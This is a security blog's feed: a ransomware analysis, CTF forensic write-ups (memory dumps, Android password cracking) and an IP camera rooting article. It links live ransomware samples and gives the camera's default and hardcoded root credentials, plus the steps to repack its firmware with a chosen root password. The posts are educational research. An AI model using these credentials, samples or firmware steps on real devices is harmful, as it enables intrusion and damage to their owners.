<p>Cette archive ne contient évidement aucune photo et à la place un script JavaScript : <mark>photos.24.04.2017.js</mark></p>

<p>Le JS est <a href="https://fr.wikipedia.org/wiki/Code_imp%C3%A9n%C3%A9trable">obfusqué</a> pour éviter d'être détecté par les Anti-Virus et leur base de signatures, ces scripts sont générés à la volé avec des variables différentes pour au final faire la même chose : télécharger le Ransomware.</p>

<p>Voici le Javascript Downloader (format raw) : <a href="https://ptpb.pw/20AF">https://ptpb.pw/20AF</a> <br>
Si vous voulez télécharger le zip, password "infected" : <a href="http://arishitz.net/files/blog_files/photos.24.04.2017.js.zip">photos.24.04.2017.js.zip</a></p>

<p>Si nous exécutons ce script, celui-ci téléchargera donc la payload et l’exécutera dans la foulée. En regardant avec Wireshark on identifie rapidement les domaines contactées : <br>
<img src="https://arishitz.net/content/images/2017/04/5_3_IP_DNS.png" alt=""></p>

<p>Ici <mark>khinkali.com.ua</mark>, <mark>letsencrypt.org</mark>, <mark>whatismyipaddress.com</mark> et <mark>whatsmyip.net</mark></p>

<p>Le téléchargement se fait donc en HTTPS avec un certificat <a href="https://letsencrypt.org/">Let's Encrypt</a> (Certificat SSL gratuit) ! <br>
<img src="https://arishitz.net/content/images/2017/04/5_2_payload.png" alt=""></p>

<p>Cette pratique est assez récente pour les Ransomwares de masse ! Elle permet de bypasser les <strong>Anti-Virus de Flux</strong> et les <strong>Sandboxs</strong> sur le réseau des entreprises. Seul le déchiffrement du flux SSL au niveau des proxy + Sandbox pourrait être efficace mais est-ce vraiment une bonne idée... </p>

<p>Je vous encourage à ce propos à lire l'article de <strong>Stéphane Bortzmeyer</strong> à ce sujet : <a href="http://www.bortzmeyer.org/https-interception.html">Les conséquences techniques de l'interception HTTPS en entreprise</a></p>

<p>J'aimerai maintenant retrouver l'url de téléchargement exact du ransomware, il faut pour cela désobfusquer le downloader en JavaScript.</p>

<p>J'ai donc modifié le script en plaçant à différents endroits des commandes pour afficher la valeur de certaines variables : <mark>WScript.Echo(nom_variable)</mark> <br>
Il était difficilement envisageable de désobfusquer l'ensemble du <mark>script de 1258 lignes</mark>...</p>

<p>je trouve donc 2 URLs de téléchargement différentes, je suppose que la seconde est utilisée si la première est injoignable ou est blacklistée.</p>

<p><img src="https://arishitz.net/content/images/2017/04/3_1_1_deobfu.png" alt="">
<img src="https://arishitz.net/content/images/2017/04/3_1_2_deobfu.png" alt=""></p>

<p>Parfait, il est encore possible de télécharger le fichier exécutable, pour analyse, sur les 2 URLs :</p>

<p><img src="https://arishitz.net/content/images/2017/04/3_2_photos_exe_2.png" alt=""></p>

<p>Si vous voulez analyser de votre côté le Ransomware, password "infected" : <a href="http://arishitz.net/files/blog_files/photos_exe.zip">photos_exe.zip</a></p>

<p>Inutile de vous rappeler qu'il ne faut pas le lancer sur votre propre machine ! Ne rigolez pas j'ai déjà vu ça...</p>

<p>Plus de 36h après la propagation de ce Ransomware, celui-ci n'est <mark>détecté que par 13 Anti-Virus sur 62</mark> sur <a href="https://www.virustotal.com/">Virustotal</a>... :</p>

<p><img src="https://arishitz.net/content/images/2017/04/3_3_PeStudio.png" alt=""></p>

<p>A croire que l'Anti-Virus Microsoft n'est pas si mauvais en termes de réactivité !</p>

<p>En laissant l'infection se dérouler, on voit dans <a href="http://processhacker.sourceforge.net/">Process Hacker</a> que le Ransomware est lancé par un cmd  :</p>

<p><img src="https://arishitz.net/content/images/2017/04/5_cmd.png" alt=""></p>

<p>Une fois le processus de chiffrement terminé, le script est supprimé, notre fond d'écran a changé ...</p>

<p><img src="https://arishitz.net/content/images/2017/04/6_wallpaper.png" alt=""></p>

<p>... nous invitant à lire le fichier README.txt ...</p>

<p><img src="https://arishitz.net/content/images/2017/04/7_README.png" alt=""></p>

<p>... qui accompagne chacun de nos fichiers qui sont maintenant chiffrés et possèdent tous un nom du style : <mark>zjODDd-fWUHcJ516nIVCVD6lx2spDxlOD4WIHP1MjZ8=.4DA9DF3B9A372BE8B55B.no_more_ransom</mark></p>

<p>Les fichiers chiffrés possède tous l'extension <mark>.no_more_ransom</mark> <br>
en rapport avec le projet de lutte contre les Ransomwares : <a href="https://www.nomoreransom.org/">https://www.nomoreransom.org/</a> qui avait réussi à déchiffrer les fichiers pris en otage par se Ransomware dans une de ces versions précédentes : <a href="https://www.nomoreransom.org/uploads/ShadeDecryptor_how-to_guide.pdf">ShadeDecryptor_how-to_guide.pdf</a></p>

<p>Je ne ferais pas de reverse du Ransomware ici, d'une parce que c'est un Ransomware comme les autres et que cela à déjà été fait et de deux parce que je suis très mauvais en reverse (surtout pour ça en fait :p).</p>

<p>J'ai cependant soumis le Downloader Javascript ainsi que le Ransomware sur des plateformes de sandboxing online que j'utilise régulièrement <a href="https://malwr.com/">malwr</a> et <a href="https://www.hybrid-analysis.com/">hybrid-analysis</a> :</p>

<p><strong>Javascript :</strong></p>

<p><a href="https://malwr.com/analysis/NTA3MTBmYzhiOTY3NDlkNmIzYzIyZTBiZDJlMzJjZjI/">https://malwr.com/analysis/NTA3M...</a></p>

<p><a href="https://www.hybrid-analysis.com/sample/34a967a3b2e559f52709e8f7b130b739b3623d644893738bcc11bed5caf179f8?environmentId=100">https://www.hybrid-analysis.com/sample/34a9...</a></p>

<p><strong>Ransomware :</strong></p>

<p><a href="https://malwr.com/analysis/YmE4YjRkNGFiMTM3NDdkYzk1MDc3Y2NlMDEyODM4NWM/">https://malwr.com/analysis/YmE4Y...</a></p>

<p><a href="https://www.hybrid-analysis.com/sample/88884f24321cafa60c4783680246928a38843c2f73ecfab3a3cb7a140b8a2747?environmentId=100">https://www.hybrid-analysis.com/sample/88884....</a></p>

<p><strong>Le Ransomware a donc un comportement similaire aux autres :</strong></p>

<ul>
<li>SPAM avec Downloader obfusqué, ici en Javascript </li>
<li>Exécution depuis le répertoire : C:\Users\XXX\AppData\Local\Temp</li>
<li>Collecte les informations du système</li>
<li>Suppression des Shadow Copies pour éviter la récupération des données</li>
<li>Clé de registre pour se relancer au démarage de la machine</li>
<li>Chiffrement des fichiers suivant la liste des extensions usuelles</li>
</ul>

<p>Il n'existe pas pour le moment de moyen de récupération des données chiffrées.</p>

<p>Il ne faut évidement pas payer la rançon mais juste pour le fun je continue de suivre leurs indications et je tente d'envoyer un email à <br>
l'adresse <mark>TerryfoWallace1987@gmail.com</mark></p>

<p><img src="https://arishitz.net/content/images/2017/04/9_mail.png" alt=""></p>

<p>Leur adresse est donc déjà connue et désactivée par Google \o/ . Je télécharge donc <a href="https://www.torproject.org/">Tor</a> sur la VM et je me rend sur leur page <mark>hxxp://cryptsen7fo43rr6.onion/</mark> (captcha de ***** tout buggué)</p>

<p><img src="https://arishitz.net/content/images/2017/04/10_tor.png" alt=""></p>

<p>Quelques minutes plus tard les échanges d'emails commencent...</p>

<p><img src="https://arishitz.net/content/images/2017/04/11_gmail.png" alt=""></p>

<p>Bien-sur je ne leur est pas envoyé ma carte bancaire mais c'était un peu trop gros cette fois et notre scameur <mark>"gay ferber"</mark> n'a pas mordu à l’hameçon :p</p>

<p><strong>PS :</strong> je ne m'appelle pas non plus Bernie Noel ! (Foncez si vous n'avais pas vu le film <a href="https://fr.wikipedia.org/wiki/Bernie_(film,_1996)">Bernie</a>.</p>

<p><img src="https://arishitz.net/content/images/2017/04/bernie_ransomware.jpg" alt=""></p>

<p>Fap'ment,</p>

<p>++</p>]]></content:encoded></item><item><title><![CDATA[Writeup - Fabulous Honeypot - Forensic - STHACK 2017]]></title><description><![CDATA[<p><img src="https://arishitz.net/content/images/2017/04/sthack.png" alt=""></p>

<p>I was at the <a href="https://www.sthack.fr/"><strong>STHACK 2017</strong></a> event with conferences and CTF onsite in Bordeaux (Friday 7 April 9pm — Saturday 8 April 8 am) with ark1nar and ghozt, two members of our CTF team <a href="https://beers4flags.fr/"><strong>Beer4Flags</strong></a> and 2 other friends, NK and brendel. We finished at <a href="https://ctftime.org/event/416"><strong>the 3rd place</strong></a>, few minutes before</p>]]></description><link>https://arishitz.net/writeup-fabulous-honeypot-forensic-sthack-2017/</link><guid isPermaLink="false">9e3f64c6-4427-4d2e-99c2-34a438dc8fdd</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Tue, 11 Apr 2017 00:02:16 GMT</pubDate><content:encoded><![CDATA[<p><img src="https://arishitz.net/content/images/2017/04/sthack.png" alt=""></p>

<p>I was at the <a href="https://www.sthack.fr/"><strong>STHACK 2017</strong></a> event with conferences and CTF onsite in Bordeaux (Friday 7 April 9pm — Saturday 8 April 8 am) with ark1nar and ghozt, two members of our CTF team <a href="https://beers4flags.fr/"><strong>Beer4Flags</strong></a> and 2 other friends, NK and brendel. We finished at <a href="https://ctftime.org/event/416"><strong>the 3rd place</strong></a>, few minutes before the end we was first but it's the game :].</p>

<h3 id="finalscoreboard">Final scoreboard :</h3>

<p><img src="https://arishitz.net/content/images/2017/04/1_scoreboard.png" alt=""></p>

<p>Here is a writeup of the forensic challenge : <mark><strong>Fabulous Honeypot</strong></mark>.</p>

<p><strong>Task :</strong></p>

<p><strong><em>Here is the memory dump of our fabulous Honeypot, some thing seems to be wrong, can you find something strange in it?</em></strong></p>

<p><strong><em><a href="https://s3.eu-central-1.amazonaws.com/sthatic/memdump.tar.bz2">https://s3.eu-central-1.amazonaws.com/sthatic/memdump.tar.bz2</a></em></strong></p>

<p>We have a memory dump but the <mark>plugin imageinfo</mark> of volatility crashed so we have to determine the good profile and import it.</p>

<p><img src="https://arishitz.net/content/images/2017/04/2_profile_debian.png" alt=""></p>

<p>We knew that it's a <mark>Debian 7 Wheezy</mark> with the <mark>kernel Linux version 3.2.0-4-amd64</mark>. <br>
So we used the profile <mark>LinuxDebian73x64</mark> from the <a href="https://github.com/volatilityfoundation/profiles">repo github</a>.</p>

<p>We can now list the active processus : </p>

<p><img src="https://arishitz.net/content/images/2017/04/4_ps_list.png" alt=""></p>

<p>I directly noticed the <mark>getdatas</mark> process, at this moment I can not dump its memory, I try all other commands of volatility for linux and some of them failed :[</p>

<p>I asked help to the creator, I didn't find anything at all after 4 hours stuck. Then, he released the good profile for volatility.</p>

<p>I imported the good profile : <br>
<code>$ sudo cp debian.zip /usr/local/lib/python2.7/dist-packages/volatility-2.5-py2.7.egg/volatility/plugins/overlays/linux/</code></p>

<p>At this moment I launched the dump of the entire filesystem with the plugin <mark>linux_recover_filesystem</mark> who success (nearly 15 minutes to finish) :</p>

<p><img src="https://arishitz.net/content/images/2017/04/3_recovered_filesystem.png" alt=""></p>

<p>We had now the capacity to investigate the process file of <mark>getdatas</mark> :</p>

<p><img src="https://arishitz.net/content/images/2017/04/5_getdatas_file.png" alt=""></p>

<p><strong>It's a kernel module injected with modprobe !</strong></p>

<p>I didn't find it on the filesystem so we had to dump this kernel module from the RAM with the plugin <mark>linux_moddump</mark> :</p>

<p><img src="https://arishitz.net/content/images/2017/04/8_memdump_getdatas.png" alt=""></p>

<p>Analysing this kernel module on linux was a fail, so I asked help from brendel and his <strong>Windows Virtual Machine with <a href="https://www.hex-rays.com/">IDA</a></strong> :</p>

<p><img src="https://arishitz.net/content/images/2017/04/9_IDA.png" alt=""></p>

<p>I commented the part that I decoded and we can see that the kernel module send data to his C&amp;C with scp and a key on the filesytem !</p>

<p>So now we can try to connect to the C&amp;C with  the command :</p>

<p><code>$ ssh -i filesystem/bin/key toto@52.17.139.201</code></p>

<p><img src="https://arishitz.net/content/images/2017/04/15_scp_serveur-1.png" alt=""></p>

<p>Nice ! It works and we have a <mark>password.gz</mark> file in our home. <br>
We can't open it, we can't copy it, we can't download it...</p>

<p>Maybe there is <mark>suid right</mark> on a program to help us (privilege escalation habit) :</p>

<p><code>$ find / -user admin -perm -4000 -print 2&gt;/dev/null</code></p>

<p>Wow <mark>gzcat</mark> !</p>

<p><code>/usr/bin/gzcat password.gz</code></p>

<p><img src="https://arishitz.net/content/images/2017/04/16_flag.png" alt=""></p>

<p>\o/ We obtain the flag <mark><strong>{My_F0r3nsic_ch4l1_R0ck5}</strong></mark> ! It's a first blood so I won a gift voucher on <a href="http://www.cdiscount.com/">Cdiscount</a> :]</p>

<p>Nobody else flagged this chall so it was <strong>2800pts</strong> for us ;].</p>

<p>Great challenge ! great CTF, thank you <a href="https://www.sthack.fr/">STHACK</a> !</p>

<p>Fap'ment,</p>

<p><img src="https://arishitz.net/content/images/2017/04/bff.png" alt=""></p>]]></content:encoded></item><item><title><![CDATA[Writeup - Secr3tMgr - Forensic - Insomnihack 2017]]></title><description><![CDATA[<p>I was at the <a href="https://ctftime.org/event/383">Insomni'hack 2017 CTF</a> onsite event in Geneva (Friday 24 March 18:00 — Saturday 25 March 04:00) with another member of our CTF team <a href="http://beers4flags.fr/">Beer4Flags</a>, and 3 friends of berurier. We finished at the 28th place :].</p>

<p>I present here a writeup of the forensic Android challenge</p>]]></description><link>https://arishitz.net/writeup-secr3tmgr-forensic-insomnihack-2017/</link><guid isPermaLink="false">e128290d-f925-415f-9e52-391e64babeac</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Wed, 29 Mar 2017 09:48:25 GMT</pubDate><content:encoded><![CDATA[<p>I was at the <a href="https://ctftime.org/event/383">Insomni'hack 2017 CTF</a> onsite event in Geneva (Friday 24 March 18:00 — Saturday 25 March 04:00) with another member of our CTF team <a href="http://beers4flags.fr/">Beer4Flags</a>, and 3 friends of berurier. We finished at the 28th place :].</p>

<p>I present here a writeup of the forensic Android challenge : Secr3tMgr.</p>

<p>Task :</p>

<p><em>...Waiting for tasks release but I have a file <a href="http://arishitz.net/files/blog_files/Secr3tMgr_680932f10ed4bb347dec46bdd8a34de487df1d13.tar.bz2">Secr3tMgr_680932f10ed4bb347dec46bdd8a34de487df1d13.tar.bz2</a> and a clue that the password is in the format INS{XXXXX}...</em></p>

<p>I start by looking at the files I have :</p>

<p><img src="https://arishitz.net/content/images/2017/03/1_files-1.png" alt=""></p>

<p>By doing some research I find this great pdf  <strong><a href="https://www1.informatik.uni-erlangen.de/filepool/publications/Live_Memory_Forensics_on_Android_with_Volatility.pdf">Live_Memory_Forensics_on_Android_with_Volatility.pdf</a></strong> explaining how to create a profile in volatility : </p>

<p><img src="https://arishitz.net/content/images/2017/03/2_profile_creation_volatility.png" alt=""></p>

<p>With a bit of research I succeed : </p>

<p><img src="https://arishitz.net/content/images/2017/03/3_profile_creation_volatility_2.png" alt=""></p>

<p>From here, I can begin to study the dump with volatility, starting by listing the available plugins :</p>

<p><code>$ volatility -f i9100-CM.bin --profile=LinuxandroidARM -h</code></p>

<p>The goal is to retrieve the <mark>lockscreen password</mark>.</p>

<p>Maybe it's a simple schema we can retrieve from <mark>/data/system/gesture.key</mark> with this tool : <a href="https://github.com/sch3m4/androidpatternlock">androidpatternlock</a></p>

<p>It's a fail, the hash in gesture.key represent an empty string.</p>

<p>The file corresponding to the Android password is in the folder <strong>/data/system/password.key</strong></p>

<p>I extract all the system files using the <strong>linux_recover_filesystem plugin</strong> and I look for the file <mark>password.key</mark> :</p>

<p><img src="https://arishitz.net/content/images/2017/03/4_password_key.png" alt=""></p>

<p>Searching on the internet I find that the <strong>hexadecimal string of 72 bytes</strong> corresponds to the <strong>concatenation of the sha1(password + salt)  and the md5(password + salt)</strong>:</p>

<pre><code>sha1(password+salt)                       md5(password+salt)
A66A4A34A78AEC1A7058C8FA3BB3B0F1CC537DD0  42F0F3F909F87D0706DCF139AB37F86E
</code></pre>

<p>So, now I have to find the <strong><a href="https://en.wikipedia.org/wiki/Salt_%28cryptography%29">salt</a></strong>. <br>
In this version of Android I can find it in the sqlite database <mark>locksettings.db</mark> : </p>

<p><img src="https://arishitz.net/content/images/2017/03/5_sqlite_locksettings_db_salt.png" alt=""></p>

<p>Be carreful, if you try to format the output sqlite ( "sqlite> .mode col" and "sqlite> .headers on") the salt will be truncate and no longer valid.</p>

<p>Before trying to bruteforce the password I find the device password policy in the <mark>device_policies.xml</mark> file :</p>

<p><img src="https://arishitz.net/content/images/2017/03/6_device_policies_xml.png" alt=""></p>

<p>I know now that I have to find a <strong>password of 10 chars with 5 Uppercases, 2 lowercases, 1 numeric and 2 symbols</strong>.</p>

<p>I understand more than One hour later that it correspond to the <mark>INS{XXXXX}</mark> in the task presentation.</p>

<p>The last part is to brutefoce the 5 chars with the good mask. <br>
For this I use hashcat and for rapidity reason I choose to attack the md5 hash. I concatenate the hash and the hexadecimal value of the decimal salt and I run hashcat with a custom charset :</p>

<p><img src="https://arishitz.net/content/images/2017/03/7_bruteforce_hashcat.png" alt=""></p>

<p>hashcat command explication :  </p>

<pre><code>hashcat -m 10 -a 3 hash -1 ?l?u?d INS{?1?1?1?1?1}  
  -m 10 : hash type 10 = md5($pass.$salt) 
  -a 3 : bruteforce attack
  hash : file whithe the md5 hash + salt
  -1 ?l?u?d : custom charset with lowercase, Uppercase and decimal
  INS{?1?1?1?1?1} : I know the password format : INS{XXXXX}
</code></pre>

<p>\o/ I have the password/flag <strong>INS{t1MmY}</strong>, great challenge ! great contest, thank you <a href="https://insomnihack.ch/">Insomni'Hack</a> !</p>

<p>Fap'ment,</p>

<p><img src="https://arishitz.net/content/images/2017/04/bff.png" alt=""></p>]]></content:encoded></item><item><title><![CDATA[IoT - Analyse d'une Camera IP]]></title><description><![CDATA[<p>Je participe régulièrement au club de hacking du CLUSIR de Lyon et j'essaye de régulièrement proposer des challenges pour les différentes séances. La séance du jeudi 23 Février 2017 abordait le sujet de la sécurité des IoT (<a href="https://fr.wikipedia.org/wiki/IoT">Internet of Things</a>).</p>

<p>Quelques jours avant la séance je me suis rappelé que</p>]]></description><link>https://arishitz.net/iot-analyse-dune-camera-ip/</link><guid isPermaLink="false">ae8c5850-8df9-4818-8fcf-e332153609fa</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Mon, 06 Mar 2017 23:16:41 GMT</pubDate><content:encoded><![CDATA[<p>Je participe régulièrement au club de hacking du CLUSIR de Lyon et j'essaye de régulièrement proposer des challenges pour les différentes séances. La séance du jeudi 23 Février 2017 abordait le sujet de la sécurité des IoT (<a href="https://fr.wikipedia.org/wiki/IoT">Internet of Things</a>).</p>

<p>Quelques jours avant la séance je me suis rappelé que quelques années auparavant j'avais acheté une Camera IP sur un site Chinois, <a href="https://arishitz.net/iot-analyse-dune-camera-ip/www.dx.com">DealeXtreme</a>. Je ne l'ai presque jamais utilisé et je me suis dit qu'il pourrait être intéressant de l'analyser et pourquoi pas en faire un challenge.</p>

<p>La camera en question : </p>

<p><img src="https://arishitz.net/content/images/2017/03/0_Camera_IP.png" alt="alt"></p>

<p>Une fois la caméra sortie de sa boite je trouve en dessous un <mark>"User Name"</mark> et un <mark>"Password"</mark>.</p>

<p><img src="https://arishitz.net/content/images/2017/03/0-1_default_credz.png" alt="alt"></p>

<p>Je décide de brancher la caméra en ethernet, Nmap me permet rapidement de la trouver sur le réseau et me remonte <mark>3 ports ouverts : 23, 81 et 8600</mark></p>

<p><img src="https://arishitz.net/content/images/2017/03/1_nmap.png" alt="alt"></p>

<p>Comme trop souvent sur les IoT le protocol Telnet est encore utilisé. J'essaye donc de me connecter dessus avec les identifiants de la caméra. <br>
Fail! Les identifiants ne fonctionnent pas, j'essaye ensuite de bruteforcer le password root par défaut, sans succès...</p>

<p>J'essaye donc de voir ce que l'interface Web propose sur le <mark>port 81</mark> :</p>

<p><img src="https://arishitz.net/content/images/2017/03/3_web_the_game.png" alt="alt"></p>

<p>Cette fois-ci, le <mark>login "admin"</mark> et le <mark>password "888888"</mark> fonctionnent pour se connecter sur l'interface d'administration de la caméra ! </p>

<p><img src="https://arishitz.net/content/images/2017/03/3-2_web_conf.png" alt="alt"></p>

<p>A ce stade je trouve la version du <mark>firmware 48.2.64.214</mark> ainsi que d'autres informations concerant la caméra et sa configuration mais rien concernant l'accès en Telnet.</p>

<p>Sur la boite de la Camera IP des dessins indiquent la possibilité de télécharger une application Android : <a href="https://play.google.com/store/apps/details?id=vstc.vscam.client&amp;hl=fr">Eye4</a> pour contrôler la caméra. je décide donc de l'installer sur mon smartphone de test, caméra Chinoise et application Chinoise oblige ;]. <br>
L'application propose quasiment les mêmes fonctionnalités que l'interface Web, mais une fonctionnalité supplémentaire semble intéressante. Il est possible de mettre à jour le firmware depuis l'application :</p>

<p><img src="https://arishitz.net/content/images/2017/03/Screenshot_2017-02-21-01-51-35-2.png" alt="alt"></p>

<p>Ayant déjà configuré pour d'autres tests mitmproxy (cf: <a href="http://arishitz.net/stalker-ses-amis-facebook-sur-tinder/">article sur tinder</a>) je peux facilement analyser les requêtes qui sont faites lorsque je clique sur la nouvelle version du firmware : </p>

<p><img src="https://arishitz.net/content/images/2017/03/5_mitm_request.png" alt="alt"></p>

<p>Dans la réponse je peux voir l'url de téléchargement du nouveau <mark>firmware 48.2.64.217</mark>  :</p>

<p><img src="https://arishitz.net/content/images/2017/03/6_mitm_response.png" alt="alt"></p>

<p>Dans un premier temps je veux analyser le firmware qui est installé de base sur la Camera IP, je modifie donc l'url en mettant <mark>48.2.64.214</mark> et je lance le téléchargement :</p>

<p><img src="https://arishitz.net/content/images/2017/03/7_dl_firmware.png" alt="alt"></p>

<p>L'outil <a href="https://github.com/devttys0/binwalk">binwalk</a> permet de rapidement analyser et extraire récursivement les fichiers du firmware :</p>

<p><img src="https://arishitz.net/content/images/2017/03/8_binwalk_extract.png" alt="alt"></p>

<p>Je liste ensuite les fichiers que nous obtenons :</p>

<p><img src="https://arishitz.net/content/images/2017/03/9_ls_R.png" alt="alt"></p>

<p>En regardant chaque fichier, on voit que <mark>ipcam.sh</mark> est un script Shell qui lance les autres fichiers binaires, le plus intéressant est <mark>daemon.vstar.v13</mark> qui semble contenir le password root du device :</p>

<p><img src="https://arishitz.net/content/images/2017/03/10_root_passwd.png" alt="alt"></p>

<p>Malheureusement la tentative de cassage du password, en ligne puis avec <a href="http://www.openwall.com/john/">John</a>, format DES crypt (8 chars + salt), s'avère infructueuse.</p>

<p>En cherchant sur internet sur des forums ou des utilisateurs demandent le password root de cette caméra, qui n'est volontairement pas donné par le constructeur (Qui a dit backdoor ?), je suis tombé sur un post ou le password <mark>2010vesta</mark> est mentionné comme étant celui d'une autre caméra. A partir de là, mon deuxième test fût le bon, le password root de ma caméra est <mark>2011vesta</mark> :</p>

<p><img src="https://arishitz.net/content/images/2017/03/9_root_and_flag.png" alt="alt"></p>

<p>\o/
j'ai donc eu de la chance, mais imaginons que je ne trouve pas le password root, comment puis-je faire pour me connecter sur la caméra ?</p>

<p>Sur l'interface Web de la caméra une fonctionnalité dans "entretien" permet d'uploader soit même un firmware pour le mettre à jour :</p>

<p><img src="https://arishitz.net/content/images/2017/03/12_firmware_update.png" alt="alt"></p>

<p>Si j'arrive à modifier le password root dans le firmware récupéré et que je l'upload ensuite sur la Camera IP je devrais pouvoir me connecter dessus ! En cherchant sur internet je trouve comment procéder. </p>

<p>Je commence par analyser les 64 premiers bytes du firmware :</p>

<p><img src="https://arishitz.net/content/images/2017/03/13_hexdump_firmware.png" alt="alt"></p>

<p>Les 32 premiers bytes semblent être un header propre au firmware, ensuite 4 bytes suivis du header d'un zip.</p>

<p>Le footer du fichier présente lui aussi 32 bytes particuliers :</p>

<p><img src="https://arishitz.net/content/images/2017/03/14_hexdump_footer.png" alt="alt"></p>

<p>Etant donnée la présence de la commande unzip dans les strings du fichier daemon.vstar.v13 il semble qu'il s'agisse bien d'un zip récursif classique. Il est donc possible de récupérer ce zip, le déziper , le modifier et le reziper puis rajouter le header et le footer !</p>

<p>Pour extraire correctement le zip, dd est l'outil parfait, le firmware possède un <mark>header de 32 bytes + 4 bytes</mark> et un <mark>footer de 32 bytes</mark>. La taille totale est de <mark>306632 bytes</mark>. </p>

<p>Les commandes une fois lancées :</p>

<p><img src="https://arishitz.net/content/images/2017/03/15_dd_firmware_zip.png" alt="alt"></p>

<p>Le zip est bon et je retrouve tous les fichiers extraits plus tôt avec binwalk. Il faut modifier le password hashé dans le fichier daemon.vstar.v13.</p>

<p>je génère le nouveau hash du password :</p>

<p><code>$ python -c 'import crypt; print crypt.crypt("1337","le")'
leKcWxk7577yg</code></p>

<p>Je veux donc remplacer cette ligne :</p>

<p><code>root:OYZVRABjiXqqQ:0:0:Adminstrator:/:/bin/sh</code></p>

<p>Par celle-là :</p>

<p><code>root:leKcWxk7577yg:0:0:Adminstrator:/:/bin/sh</code></p>

<p>Pour modifier le fichier daemon.vstar.v13 et le remplacer j'utilise un éditeur hexadécimal, <a href="http://home.gna.org/bless/">bless</a> :</p>

<p><img src="https://arishitz.net/content/images/2017/03/16_bless_hexa.png" alt="alt"></p>

<p>Pour finir je reconstitue le zip :</p>

<p><code>$ zip -r firmware_modified.zip system/</code></p>

<p>Il faut repackager le firmware en ajoutant le <mark>header</mark> et le <mark>footer</mark> ainsi que les <mark>4 bytes</mark> suivant le header, les 4 bytes constituent la taille du zip en hexadécimal !</p>

<p><img src="https://arishitz.net/content/images/2017/03/17_4_bytes_size-1.png" alt="alt"></p>

<p>Reconstruction du firmwware avec le header, les 4 bytes de la taille avec l'hexadécimal <mark>"4ad83" -> "\x16\x41\x04\x00"</mark> et le footer :</p>

<p><code>$ (echo -ne "wifi-camera-sys-qetyipadgjlzcbmn\x83\xad\x04\x00" ; cat firmware_modified.zip ; echo -ne "wifi-camera-end-nvxkhfsouteqzhpo" ) &gt; firmware_modified.bin</code></p>

<p>Il ne reste plus qu'à uploader le firmware modifié par l'interface web, la camera reboot, je tente de me connecter en telnet avec le nouveau password.....</p>

<p><strong>\o/ root access :]</strong></p>

<p>J'ai donc construit un petit challenge par la suite, writeup :</p>

<p>La première étape était de récupérer la version du firmware en se connectant sur l'interface web avec les credentials par défaut (l'IP de la Camera IP étant donné). Soit en cherchant sur internet soit en retournant simplement la Camera IP.</p>

<p>Pour la deuxième étape il fallait analyser le firmware modifié (binwalk), récupérer le nouveau password root dans le fichier daemon.vstar.v13, le casser avec john (rapide avec le nouveau password faible), ensuite se connecter sur la Camera IP et récupérer le flag dans /tmp.</p>

<p>Si vous voulez essayer/analyser -> <a href="http://arishitz.net/files/blog_files/firmware-modified.bin">firmware modifié</a></p>

<p>Fap'ment,</p>]]></content:encoded></item><item><title><![CDATA[Writeup - Secure Pyshell - Python Jail - Xiomara CTF 2017]]></title><description><![CDATA[<p>Le weekend du 25-25 Février 2017 avait lieu le <a href="https://ctftime.org/ctf/186">Xiomara CTF</a>. CTF auquel nous avons participé avec <a href="http://beers4flags.fr/">Beers4flags</a>, équipe que j'ai rejoins en fin d'année 2016 lors de la <a href="https://grehack.fr/">Grehack</a>.</p>

<p>Nous terminons ce CTF en 26ème positions sur 334 : <a href="https://ctftime.org/event/430">https://ctftime.org/event/430</a></p>

<p>Malgré de nombreuses épreuves remplies de</p>]]></description><link>https://arishitz.net/writeup-secure-pyshell-python-jail-xiomara-ctf-2017/</link><guid isPermaLink="false">e83cc0c0-b81e-4ebe-ba06-a9c3fc3fcb1a</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Tue, 28 Feb 2017 22:33:35 GMT</pubDate><content:encoded><![CDATA[<p>Le weekend du 25-25 Février 2017 avait lieu le <a href="https://ctftime.org/ctf/186">Xiomara CTF</a>. CTF auquel nous avons participé avec <a href="http://beers4flags.fr/">Beers4flags</a>, équipe que j'ai rejoins en fin d'année 2016 lors de la <a href="https://grehack.fr/">Grehack</a>.</p>

<p>Nous terminons ce CTF en 26ème positions sur 334 : <a href="https://ctftime.org/event/430">https://ctftime.org/event/430</a></p>

<p>Malgré de nombreuses épreuves remplies de trolls, une épreuve de type <code>python jail</code> était présente et pas si compliquée, j'en ai profité pour réaliser un petit <mark>writeup</mark> : <a href="https://github.com/Beers4Flags/writeups/tree/master/2017/xiomara/pwn/secure_pyshell">https://github.com/Beers4Flags/writeups/tree/master/2017/xiomara/pwn/secure_pyshell</a></p>

<p>Si avant de lire le writeup vous voulez tenter votre chance et essayer de sortir du <mark>shell python</mark> voici le <a href="https://github.com/Beers4Flags/writeups/blob/master/2017/xiomara/pwn/secure_pyshell/pwn2.py">script</a> python 3 à lancer :</p>

<pre><code>#!/usr/bin/python3
import sys, cmd, os

del __builtins__.__dict__['__import__']  
del __builtins__.__dict__['eval']

intro = """  
Welcome to Secure Python Interpreter  
================================================
Rules:  
    -Do not import anything
    -No peeking at files!
    -No sharing of flags :)
"""


def execute(command):  
       exec(command, globals())

class Jail(cmd.Cmd):

    prompt     = '&gt;&gt;&gt; '
    filtered    = '\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|')

    def do_EOF(self, line):
        sys.exit()

    def emptyline(self):
        return cmd.Cmd.emptyline(self)

    def default(self, line):
        sys.stdout.write('\x00')

    def postcmd(self, stop, line):
        if any(f in line for f in self.filtered):
            print("Do you think my code is so insecure ?")
            print("You can never get out of my jail :)")
        else:
           try:
                execute(line)
           except NameError:
                print("NameError: name '%s' is not defined" % line)
           except Exception:
                print("Error: %s" % line)
        return cmd.Cmd.postcmd(self, stop, line)

if __name__ == "__main__":  
    try:
        Jail().cmdloop(intro)
    except KeyboardInterrupt:
        print("\rBye bye !")
</code></pre>

<p>Si les épreuves de type Python Jail vous intéressent, 3 épreuves similaires et intéressantes sont présentes sur le site de challenges <a href="https://www.root-me.org/">root-me</a> !</p>

<p>D'autres writeups de la <a href="https://ctftime.org/team/28324">team Beers4Flags</a> sont et seront disponibles sur le repo github : <a href="https://github.com/Beers4Flags/writeups">https://github.com/Beers4Flags/writeups</a> </p>

<p>Fap'ment,</p>

